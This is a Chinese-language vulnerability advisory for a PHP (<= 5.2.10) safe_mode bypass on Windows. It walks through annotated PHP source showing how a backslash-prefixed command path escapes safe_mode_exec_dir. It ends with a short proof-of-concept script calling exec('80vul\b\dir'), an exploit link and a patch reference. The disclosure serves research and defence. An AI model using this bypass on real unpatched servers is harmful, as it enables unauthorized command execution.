PHP多个函数绕过safe_mode安全限制漏洞

受影响系统:

PHP PHP <= 5.2.10

描述:


BUGTRAQ  ID: 35435

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

在安全模式下,PHP没有禁用exec()、system()、passthru()和popen()这四个函数,只是在safe_mode_exec_dir目录下执行。但当safe_mode=on且safe_mode_exec_dir为空时(默认),PHP在处理这一过程中存在安全隐患,在windows下exec()/system()/passthru()可以通过引入“\”来执行程序。

以exec()函数为例分析源码:

// exec.c
PHP_FUNCTION(exec)
{
    php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);
}
// system(),passthru()函数也是调用的php_exec_ex但popen()不是

static void php_exec_ex(INTERNAL_FUNCTION_PARAMETERS, int mode)
{
    char *cmd;
    int cmd_len;
    zval *ret_code=NULL, *ret_array=NULL;
    int ret;

        if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z/z/", &cmd, &cmd_len, &ret_array, &ret_code) == FAILURE) {
            RETURN_FALSE;
        }

    if (!ret_array) {
        ret = php_exec(mode, cmd, NULL, return_value TSRMLS_CC);

int php_exec(int type, char *cmd, zval *array, zval *return_value TSRMLS_DC)
{

    if (PG(safe_mode)) {
        if ((c = strchr(cmd, ‘ ‘))) {
            *c = ‘\0’;
            c++;
        }
// 取cmd中的参数部分

        if (strstr(cmd, "..")) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "No ‘..’ components allowed in path");
            goto err;
        }
// 不允许使用..来跳转目录 ,这个也是php手册描叙不让..的处理代码

        b = strrchr(cmd, PHP_DIR_SEPARATOR);
// 在win下PHP_DIR_SEPARATOR为\,*nix下为/,具体定义在main/php.h
// 如果cmd是80vul\b\dir,那么这部分取得的值是\dir

        spprintf(&d, 0, "%s%s%s%s%s", PG(safe_mode_exec_dir), (b ? "" : "/"), (b ? b : cmd), (c ? " " : ""), (c ? c : ""));
// 这句是这个安全隐患的关键处
// 如果php.ini中没有设置safe_mode_exec_dir的话,80vul\dir经过上面的处理为\dir[如果直接提交dir则会被处理为/dir]
// 这个也是需要"safe_mode_exec_dir为空时[默认为空]"的原因

        if (c) {
            *(c – 1) = ‘ ‘;
        }
        cmd_p = php_escape_shell_cmd(d);
// 这里调用了php_escape_shell_cmd处理


#ifdef PHP_WIN32
    fp = VCWD_POPEN(cmd_p, "rb");
#else
    fp = VCWD_POPEN(cmd_p, "r");
#endif

char *php_escape_shell_cmd(char *str) {
    register int x, y, l;
    char *cmd;
    char *p = NULL;
    
    TSRMLS_FETCH();

    l = strlen(str);
    cmd = safe_emalloc(2, l, 1);
    
    for (x = 0, y = 0; x < l; x++) {
// 这里用的strlen,所以这个函数是not safe binary
        int mb_len = php_mblen(str + x, (l – x));

        /* skip non-valid multibyte characters */
        if (mb_len < 0) {
            continue;
        } else if (mb_len > 1) {
            memcpy(cmd + y, str + x, mb_len);
            y += mb_len;
            x += mb_len – 1;
            continue;
        }
// 这部分代码是为了补se牛提出的那个编码问题:p
// http://www.sektioneins.de/advisories/SE-2008-03.txt

        switch (str[x]) {

            case ‘\\’:

#ifdef PHP_WIN32
            /* since Windows does not allow us to escape these chars, just remove them */
            case ‘%’:
                cmd[y++] = ‘ ‘;
                break;
// 如果是win下的话,就把\等特殊字符去掉
// 那么\dir经过此函数处理后就变成dir了:)
#endif
                cmd[y++] = ‘\\’;
                /* fall-through */
            default:
                cmd[y++] = str[x];

// tsrm_win32.c
TSRM_API FILE *popen_ex(const char *command, const char *type, const char *cwd, char *env)
{

    cmd = (char*)malloc(strlen(command)+strlen(TWG(comspec))+sizeof(" /c "));
    sprintf(cmd, "%s /c %s", TWG(comspec), command);
    if (!CreateProcess(NULL, cmd, &security, &security, security.bInheritHandle, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, env, cwd, &startup, &process)) {
// 调用CreateProcess创建线程,执行命令
        return NULL;
    }

对于popen()函数:

PHP_FUNCTION(popen)
{
….
    if (PG(safe_mode)){
        b = strchr(Z_STRVAL_PP(arg1), ‘ ‘);
        if (!b) {
            b = strrchr(Z_STRVAL_PP(arg1), ‘/’);
\\直接使用的“/”,根本没有考虑windows系统下对“\”的支持,所以也就不存在上面的问题
        } else {
            char *c;
            c = Z_STRVAL_PP(arg1);
            while((*b != ‘/’) && (b != c)) {
                b–;
            }
            if (b == c) {
                b = NULL;
            }
        }
        
        if (b) {
            spprintf(&buf, 0, "%s%s", PG(safe_mode_exec_dir), b);
        } else {
            spprintf(&buf, 0, "%s/%s", PG(safe_mode_exec_dir), Z_STRVAL_PP(arg1));
        }

        tmp = php_escape_shell_cmd(buf);
        fp = VCWD_POPEN(tmp, p);  
….

<*来源:80vul-B (http://www.80vul.com)
  
  链接:http://www.80vul.com/pch/pch-006.txt
        http://www.milw0rm.com/exploits/8799
        http://seclists.org/fulldisclosure/2009/Jun/0205.html
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
//updata:2009-6-19
// safe_mode=On and safe_mode_exec_dir not set in php.ini
// test on win32

    echo exec(’80vul\b\dir’);
//    system(’80vul\b\dir’);
//    passthru(’80vul\b\dir’);

?>

www.milw0rm.com/sploits/2009-safemod-windows.zip

建议:


厂商补丁:

PHP

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://bugs.php.net/bug.php?id=45997

发表评论?

0 条评论。

发表评论